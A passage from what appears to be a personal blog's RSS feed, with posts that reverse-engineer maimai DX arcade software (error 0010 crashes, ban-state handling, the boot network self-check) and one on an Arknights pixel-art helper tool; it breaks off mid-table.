&lt;p&gt;What conditions made this success story possible? Are those conditions still present? Do my circumstances actually match the circumstances that existed when it worked for someone else?&lt;/p&gt;
&lt;p&gt;If you can&apos;t rewrite the underlying system, add patches on top of it.&lt;/p&gt;
&lt;p&gt;A tool is just a tool. An ordinary person might use a wrench to loosen a bolt, while a master mechanic can use one as part of a complete vehicle overhaul. Then there are people who expect the wrench to fly around and fix everything by itself.&lt;/p&gt;
&lt;p&gt;That&apos;s not using a tool. That&apos;s indulging in another narrative.&lt;/p&gt;
&lt;p&gt;Only by acknowledging the limitations of the underlying system can you build patches that actually work.&lt;/p&gt;
&lt;p&gt;There will always be a gap between knowing and doing. That&apos;s unavoidable.&lt;/p&gt;
&lt;p&gt;But if you can at least get these things straight in your head, you can shorten the amount of time you spend trapped in a mistake.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And honestly, that&apos;s good enough.&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>社会评论</category><author>Chongxi</author></item><item><title>A Deep Dive into maimai DX Error Code 0010 and How to Handle It</title><link>https://xice.cx/en/posts/maiErr0010/</link><guid isPermaLink="true">https://xice.cx/en/posts/maiErr0010/</guid><description>A deep dive into the underlying causes of maimai DX error 0010, with troubleshooting steps.</description><pubDate>Sun, 09 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is 0010&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;ALLS system error 0010: unexpected game program failure&lt;/strong&gt; — this is the error that pops up when SEGA&apos;s ALLS boot process &lt;code&gt;mxsegaboot&lt;/code&gt; detects that the main game program &lt;code&gt;mai2.exe&lt;/code&gt; has terminated abnormally. The only fix SEGA offers is to &lt;strong&gt;shut down and restart the game&apos;s main program&lt;/strong&gt;. This article will go deep into this subject and explain it in detail&lt;/p&gt;
&lt;h2&gt;The error system&lt;/h2&gt;
&lt;p&gt;Maimai cabinets have two error systems&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Display&lt;/th&gt;
&lt;th&gt;Typical error codes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Boot layer&lt;/td&gt;
&lt;td&gt;mxsegaboot&lt;/td&gt;
&lt;td&gt;0001/0010&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Game layer&lt;/td&gt;
&lt;td&gt;Game program&lt;/td&gt;
&lt;td&gt;0912/3100&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Trigger mechanism&lt;/h2&gt;
&lt;p&gt;In one sentence: the game process died without going through the normal &lt;code&gt;Core.Kill&lt;/code&gt; channel&lt;/p&gt;
&lt;p&gt;From decompilation we can see that ALLS designed three legitimate exit paths:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Exit reason&lt;/th&gt;
&lt;th&gt;Game call&lt;/th&gt;
&lt;th&gt;Boot layer reaction&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Restart&lt;/td&gt;
&lt;td&gt;Core.Kill (restart)&lt;/td&gt;
&lt;td&gt;Normal exit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System error / entering test&lt;/td&gt;
&lt;td&gt;Core.Kill (system error / test)&lt;/td&gt;
&lt;td&gt;Normal exit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Abnormal exit&lt;/td&gt;
&lt;td&gt;Crash&lt;/td&gt;
&lt;td&gt;0010&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;The boot layer&apos;s two detection channels&lt;/h2&gt;
&lt;p&gt;mxsegaboot identifies abnormal exits through two independent channels:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Abnormal exit code: when the game process exits, the boot layer reads its exit code. Only a few specific values count as a &quot;normal exit&quot; (the legitimate values corresponding to Core.Kill); everything else is judged abnormal&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Process crash flag: the mxmaster framework records whether the game process has ever crashed (fault). The boot layer queries this flag at startup and judges an abnormal exit if it is non-zero&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Both ultimately result in rendering the 0010 error page&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;How the game triggers it&lt;/h2&gt;
&lt;h3&gt;Main thread exception path&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;GameMain.Update() / LateUpdate()
  └─ try/catch → ExceptionHandler()
       ├─ 写崩溃日志（.log + .png，保留最近 4 份）
       ├─ 截图
       └─ 设 GameManager.IsException = true

GameMainObject.Update()
  └─ if (GameManager.IsException)
       ├─ isQuit = true
       └─ Application.Quit()   ## 没有 Core.Kill！→ 触发 0010
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key point is that the &lt;code&gt;IsException&lt;/code&gt; branch &lt;strong&gt;calls only &lt;code&gt;Application.Quit()&lt;/code&gt;, without &lt;code&gt;Core.Kill()&lt;/code&gt;&lt;/strong&gt;, while the other three exit branches (restart / system error / entering test) all have &lt;code&gt;Core.Kill&lt;/code&gt;. This is the direct reason why a game exception exit leads the boot layer to judge it abnormal&lt;/p&gt;
&lt;h3&gt;Background threads&lt;/h3&gt;
&lt;p&gt;If a background thread (such as data loading, touch input, serial communication, etc.) has an uncaught exception, the CLR will terminate the process directly, &lt;strong&gt;bypassing the &lt;code&gt;IsException&lt;/code&gt; path&lt;/strong&gt;, and this also triggers 0010. Crashes of this kind leave no &lt;code&gt;.log&lt;/code&gt; in the crash log, making diagnosis harder&lt;/p&gt;
&lt;h2&gt;Resource IDs pointing to nonexistent resources&lt;/h2&gt;
&lt;p&gt;The most common case, which is what we usually call illegal dirty data in the account&lt;/p&gt;
&lt;p&gt;When the game&apos;s resource manager (&lt;code&gt;DataManager.cs&lt;/code&gt;) can&apos;t find a matching ID, &lt;strong&gt;almost all of them return &lt;code&gt;null&lt;/code&gt;&lt;/strong&gt;; only the Chara-related getters return a defensive empty object:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Getter&lt;/th&gt;
&lt;th&gt;Return value on miss&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetChara&lt;/code&gt; / &lt;code&gt;GetCharaAwake&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;new CharaData()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetPartner&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;null&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetMusic&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;null&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetMapData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;null&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetIcon&lt;/code&gt; / &lt;code&gt;GetPlate&lt;/code&gt; / &lt;code&gt;GetTitle&lt;/code&gt; / &lt;code&gt;GetFrame&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;null&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetLoginBonus&lt;/code&gt; / &lt;code&gt;GetTicket&lt;/code&gt; / &lt;code&gt;GetEvent&lt;/code&gt; / all the rest&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;null&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Any &lt;code&gt;GetXxx(illegalID).field&lt;/code&gt; accessed without a null check produces a &lt;code&gt;NullReferenceException&lt;/code&gt; → triggers 0010&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CheckDisableCollection&lt;/code&gt; in &lt;code&gt;UserData.cs&lt;/code&gt; (which automatically resets illegal collection items at login) only covers some of the fields:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Defense&lt;/th&gt;
&lt;th&gt;Risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;EquipIconID / EquipPlateID / EquipFrameID / EquipTitleID&lt;/td&gt;
&lt;td&gt;Reset to the default value&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EquipPartnerID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ None&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SelectMapID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ None (some screens have a FindIndex fallback, but it&apos;s not comprehensive)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Known crash list&lt;/h2&gt;
&lt;p&gt;The following scenarios have been tested in practice plus code analysis; when an account holds an illegal ID, they will definitely crash:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;No.&lt;/th&gt;
&lt;th&gt;Resource involved&lt;/th&gt;
&lt;th&gt;Trigger scenario&lt;/th&gt;
&lt;th&gt;Crash type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;R1&lt;/td&gt;
&lt;td&gt;Partner&lt;/td&gt;
&lt;td&gt;Setting after login / building the dress-up screen&lt;/td&gt;
&lt;td&gt;NullReferenceException&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;R2&lt;/td&gt;
&lt;td&gt;Partner&lt;/td&gt;
&lt;td&gt;Results screen&lt;/td&gt;
&lt;td&gt;NullReferenceException&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;R3&lt;/td&gt;
&lt;td&gt;Partner&lt;/td&gt;
&lt;td&gt;Friend versus results&lt;/td&gt;
&lt;td&gt;NullReferenceException&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;R4&lt;/td&gt;
&lt;td&gt;Partner&lt;/td&gt;
&lt;td&gt;Login bonus&lt;/td&gt;
&lt;td&gt;NullReferenceException&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;R5&lt;/td&gt;
&lt;td&gt;Music&lt;/td&gt;
&lt;td&gt;Rival&lt;/td&gt;
&lt;td&gt;NullReferenceException&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;R6&lt;/td&gt;
&lt;td&gt;Music&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Song selection&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;NullReferenceException&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;R7&lt;/td&gt;
&lt;td&gt;Music&lt;/td&gt;
&lt;td&gt;Results / album / card reading / song selection and other flows&lt;/td&gt;
&lt;td&gt;NullReferenceException&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;R8&lt;/td&gt;
&lt;td&gt;Map&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;map / chara and other data processing, 20+ places&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;NullReferenceException&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;R9&lt;/td&gt;
&lt;td&gt;Map&lt;/td&gt;
&lt;td&gt;Map data sync&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;IndexOutOfRangeException&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;R8 is the most typical disaster zone&lt;/p&gt;
&lt;h2&gt;Trigger process&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;账号存档中含有客户端不存在的资源 ID
（已下架 / 未更新的超前数据 / 脏数据）
  ↓
对应画面调用 GetXxx(id) 返回 null
  ↓
未判空直接访问字段 → NullReferenceException
  ↓
ExceptionHandler 记录崩溃日志
  ↓
GameManager.IsException = true
  ↓
GameMainObject.Update 检测到 → Application.Quit()
  ↓
引导层判定进程非正常退出 → 弹出 0010
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;How to fix it&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;What to check&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Crashes with a fixed account&lt;/td&gt;
&lt;td&gt;Resource-related (most common)&lt;/td&gt;
&lt;td&gt;Fix the dirty data in the account / avoid logging into this account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed song / fixed action, crashes even with another account&lt;/td&gt;
&lt;td&gt;Corrupted game files&lt;/td&gt;
&lt;td&gt;Re-download&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Completely random, any account can trigger it&lt;/td&gt;
&lt;td&gt;Hardware-related (SSD / RAM / power)&lt;/td&gt;
&lt;td&gt;Check the hardware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Crashes immediately on boot, can&apos;t get into the game&lt;/td&gt;
&lt;td&gt;Possibly underlying damage&lt;/td&gt;
&lt;td&gt;Ask customer service&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded><category>maimai</category><category>网络</category><author>Chongxi</author></item><item><title>I Made a Pixel-Art Bead Tool for the Arknights 奇象巡展</title><link>https://xice.cx/en/posts/ark24/</link><guid isPermaLink="true">https://xice.cx/en/posts/ark24/</guid><description>A browser tool that turns images into 24x24 pixel-art color layouts for the Arknights pixel drawing event.</description><pubDate>Sat, 08 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Didn&apos;t Arknights just add a 奇象巡展 update? There&apos;s a pixel-art feature in it that gives you a 24x24 pixel canvas and forty colors. When I draw certain particularly complex images I&apos;m genuinely low-skill — I just can&apos;t get them right no matter how I try — so I ended up building an automatic compression tool and then drawing pixel by pixel following the prompts&lt;/p&gt;
&lt;p&gt;The final product is: &lt;a href=&quot;https://prts.chongxi.us&quot;&gt;Arknights 奇象巡演 pixel-art color picker&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Chongxi&apos;s background is React, so naturally I chose Vite + React as the foundation. As for the UI, I built a set of components myself; my current network of sites basically all use the same design, similar to Lone Trail&lt;/p&gt;
&lt;p&gt;The canvas is the very common canvas. As for those forty color values, I actually picked them one by one by hand using macOS&apos;s built-in color picker in sRGB&lt;/p&gt;
&lt;p&gt;Later I found that hunting for colors one by one was really inconvenient, so I just copied the in-game color layout; whichever color you select is automatically highlighted&lt;/p&gt;
&lt;p&gt;As for automation: first, I really haven&apos;t learned OCR. Even though this kind of thing with a clear grid genuinely isn&apos;t hard to do (probably), I&apos;m still a bit lazy and don&apos;t really want to (lol). Second, devices are too fragmented — you&apos;d have to figure out how to do it for every device and platform, and the way each platform simulates touch taps is different. Doing them one by one would take far too much time. But I left a way out: for anyone who wants to do automation later, I provided a JSON export that marks what color to paint at every coordinate on the canvas (it even writes out which row and which position that color is in). If you want to make it automatic, give it a try. I&apos;ve been studying reverse engineering lately and really don&apos;t have the energy to learn a few more things (x
Below is a screenshot of the finished product&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sc.webp&quot; alt=&quot;Arknights 奇象巡展 pixel-art color picker - screenshot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks pretty good overall. If you use it, I recommend sticking to small images — 24x24 is tiny, and a very large image will get squashed down to a stick and you won&apos;t be able to make anything out&lt;/p&gt;
</content:encoded><category>游戏</category><category>开发</category><author>Chongxi</author></item><item><title>A Detailed Explanation of the maimai DX CN Server Ban System</title><link>https://xice.cx/en/posts/maimaiBS/</link><guid isPermaLink="true">https://xice.cx/en/posts/maimaiBS/</guid><description>How banState works on the maimai DX CN server, from the warning popup to gameplay restrictions</description><pubDate>Fri, 07 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;A while back, when maimai updated to DX2026, there was a special partner &lt;code&gt;liz&lt;/code&gt;. Perhaps because SEGA/Wahlap cares about the special nature of the &lt;code&gt;kaleidcsope&lt;/code&gt; mode, or perhaps because it had become too widespread, on July 22 Wahlap issued bs1 bans to every CN-server account that had illegitimately obtained the liz partner. The last time this kind of official statement handing out bs happened was probably the 2024 stamp-card song &lt;code&gt;latent kingdom&lt;/code&gt;. So I believe many people are curious about the CN server&apos;s ban system, and some even try to modify bs1 away using tech. This article will briefly cover the things about &lt;code&gt;banState&lt;/code&gt; that you want to know&lt;/p&gt;
&lt;h2&gt;What is banState&lt;/h2&gt;
&lt;p&gt;CN server accounts have a field called &lt;code&gt;banState&lt;/code&gt;, the ban state, which is issued by the server&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Effect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Normal&lt;/td&gt;
&lt;td&gt;No restrictions whatsoever&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Warning (bs1)&lt;/td&gt;
&lt;td&gt;Warning popup, wait 10 seconds, &lt;strong&gt;can enter the game&lt;/strong&gt;, but game features are restricted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ban (bs2)&lt;/td&gt;
&lt;td&gt;Ban popup, wait 10 seconds, &lt;strong&gt;kicked back to the QR scan page&lt;/strong&gt;, cannot play&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Any other value is handled as normal by the client&lt;/p&gt;
&lt;p&gt;This field is returned by the server when you scan your code; the client only executes it&lt;/p&gt;
&lt;h2&gt;What happens when you tap your card&lt;/h2&gt;
&lt;p&gt;After scanning, the machine requests preview data from the server once, and the response carries &lt;code&gt;banState&lt;/code&gt;. Once the client gets this value, it runs a state machine to decide how your account is handled&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Normal (0)&lt;/strong&gt;: enter the game directly&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Warning (bs1)&lt;/strong&gt;: a warning window pops up, wait a full 600 frames (10 seconds at 60fps) for the window to close automatically, after which you&apos;re let through to the song selection screen&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ban (bs2)&lt;/strong&gt;: a ban window pops up, again wait 10 seconds. After it closes, it directly calls &lt;code&gt;Context.SetState(StateType.ConfirmEntry)&lt;/code&gt; to kick you out and stop you playing&lt;/p&gt;
&lt;p&gt;The full data &lt;code&gt;GetUserDataApi&lt;/code&gt; for a bs2 account is still downloaded as usual; &lt;strong&gt;data downloads are not intercepted&lt;/strong&gt;, it&apos;s just that even after downloading you still can&apos;t play&lt;/p&gt;
&lt;h2&gt;Gameplay restrictions&lt;/h2&gt;
&lt;p&gt;After warned and banned accounts enter the game (bs2 can&apos;t get in, but if the entrance is bypassed in any way), three kinds of checks are triggered. The condition is uniformly &lt;code&gt;BanState != 0&lt;/code&gt;, and &lt;strong&gt;both players are checked&lt;/strong&gt;: if either side is marked, both are restricted&lt;/p&gt;
&lt;h3&gt;1. Friend versus disabled&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;if (!IsAnyUserWarningState())
{
    AddVsGhost(...);
    AddMapGhost(...);
    AddBossGhost(...);
    AddReliefGhost(...);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As above, friend versus and other modes are directly disabled&lt;/p&gt;
&lt;h3&gt;2. kaleidxscope progress locked&lt;/h3&gt;
&lt;p&gt;The kaleidoscope progress is forcibly rolled back to the &lt;code&gt;FoundCenterTower&lt;/code&gt; stage, and any progress at &lt;code&gt;CenterTowerCleared&lt;/code&gt; or above is not displayed at all:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (kaleidxScopePhase &amp;gt;= KaleidxScopePhase.CenterTowerCleared &amp;amp;&amp;amp; IsEntryBanUser())
{
    kaleidxScopePhase = KaleidxScopePhase.FoundCenterTower;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. LEGEND&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;UnlockMusicProcess.IsAnyLegend&lt;/code&gt; checks the &lt;code&gt;BanState&lt;/code&gt; of all players; if either side is non-zero it returns &lt;code&gt;false&lt;/code&gt;: it doesn&apos;t count toward the LEGEND rank, and the conduction is voided&lt;/p&gt;
&lt;h2&gt;Pure server-side control&lt;/h2&gt;
&lt;p&gt;There is no way to change the bs state, because this thing is controlled server-side. Even if you use mitm to change the bs state passed down to 0, you can&apos;t actually change the value in the server — it&apos;s pure self-deception&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;bs0 Normal&lt;/th&gt;
&lt;th&gt;bs1 Warning&lt;/th&gt;
&lt;th&gt;bs2 Ban&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Enter game&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (10s penalty wait)&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Friend versus&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kaleidoscope progress&lt;/td&gt;
&lt;td&gt;Normal&lt;/td&gt;
&lt;td&gt;Locked&lt;/td&gt;
&lt;td&gt;Locked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LEGEND&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;False bans are just waiting for a misunderstanding&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏安全</category><author>Chongxi</author></item><item><title>How maimai&apos;s Boot-time Network Self-check Works Under the Hood, and How to Troubleshoot a Dead Connection</title><link>https://xice.cx/en/posts/maimaiNetworkCheck/</link><guid isPermaLink="true">https://xice.cx/en/posts/maimaiNetworkCheck/</guid><description>A deep dive, via reverse engineering, into the network self-check a maimai cabinet runs at boot, plus directions for troubleshooting.</description><pubDate>Thu, 06 Aug 2026 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The previous article roughly covered maimai&apos;s boot initialisation flow; this one digs into the cabinet networking part that has troubled quite a few people&lt;/p&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;h3&gt;1.1 Where the self-check sits in the boot chain&lt;/h3&gt;
&lt;p&gt;In the previous initialisation article we covered that a maimai cabinet runs two parallel systems: &lt;strong&gt;amdaemon&lt;/strong&gt; (the native background service, responsible for all communication with the operations server) and the &lt;strong&gt;Unity game program&lt;/strong&gt; (responsible for the game)&lt;/p&gt;
&lt;p&gt;Boot proceeds in 6 steps, and the network self-check is step 3 (&lt;code&gt;PowerOnProcess.WaitNetWork&lt;/code&gt;). The boot initialisation screen shows the status of each check line by line: Check 初始化中 / Good 好 / NA 跳过 / Bad 坏&lt;/p&gt;
&lt;p&gt;The goal of the network self-check is to confirm whether the cabinet can communicate with the server normally; the first 5 checks cover the cabinet itself and the LAN, and the last 4 cover connectivity to and liveness of the server&lt;/p&gt;
&lt;h3&gt;1.2 Chain overview&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[Boot] amdaemon starts
  └─ ALPB boot self-check driver
       └─ am::network::Tester runs the 9 network self-checks in sequence (am::networktest)
            0 IpAddressChecker    ← validity of the local IP
            1 GatewayChecker      ← gateway connectivity
            2 DnsLanChecker       ← validity of the DNS configuration
            3 HopsChecker         ← domain resolution + ICMP route hop count
            4 LineTypeChecker     ← line type (LAN/WAN)
            5 AllnetAuthChecker   ← ALL.Net auth + download instruction ready (120s)
            6 AimeChecker         ← CHIME WeChat AIME service liveness probe
            7 EmoneyChecker       ← e-money (dead item on the mainland server, NA)
            8 AimePayChecker      ← AimePay (dead item on the mainland server, NA)
              │ each result reported via callback
              ▼
        amdaemon app-side NetworkEventListener
              → availability flags (IP / Hops / AllnetAuth)
              ▼ IPC (NamedPipe)
[Unity]  AMDaemon.Network.TestInfo / PowerOnTestInfo
              ▼ polled every frame
        PowerOnProcess.WaitNetWork
        （item0 timeout 15s / item5 Net auth 120s）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 The 9 checks at a glance&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;item&lt;/th&gt;
&lt;th&gt;checker class name&lt;/th&gt;
&lt;th&gt;what it checks&lt;/th&gt;
&lt;th&gt;main dependency&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;IpAddressChecker&lt;/td&gt;
&lt;td&gt;Whether the local IP is valid (not APIPA)&lt;/td&gt;
&lt;td&gt;Local / DHCP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;GatewayChecker&lt;/td&gt;
&lt;td&gt;Whether the gateway is pingable&lt;/td&gt;
&lt;td&gt;Local LAN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;DnsLanChecker&lt;/td&gt;
&lt;td&gt;Whether the count of system DNS configs is valid&lt;/td&gt;
&lt;td&gt;Local LAN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;HopsChecker&lt;/td&gt;
&lt;td&gt;Whether the target domain resolves + ICMP hop-by-hop count&lt;/td&gt;
&lt;td&gt;DNS + target domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;LineTypeChecker&lt;/td&gt;
&lt;td&gt;Whether the line type is LAN&lt;/td&gt;
&lt;td&gt;Local network interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;AllnetAuthChecker&lt;/td&gt;
&lt;td&gt;ALL.Net auth + download instruction ready&lt;/td&gt;
&lt;td&gt;ALL.Net server (120s)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;AimeChecker&lt;/td&gt;
&lt;td&gt;Member server liveness&lt;/td&gt;
&lt;td&gt;CHIME server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;EmoneyChecker&lt;/td&gt;
&lt;td&gt;Emoney server liveness (&lt;strong&gt;dead item on the mainland server&lt;/strong&gt;)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;AimePayChecker&lt;/td&gt;
&lt;td&gt;AimePay server liveness (&lt;strong&gt;dead item on the mainland server&lt;/strong&gt;)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;2. Mechanism basics&lt;/h2&gt;
&lt;h3&gt;2.1 Three-layer structure&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Native engine layer (am::network)&lt;/td&gt;
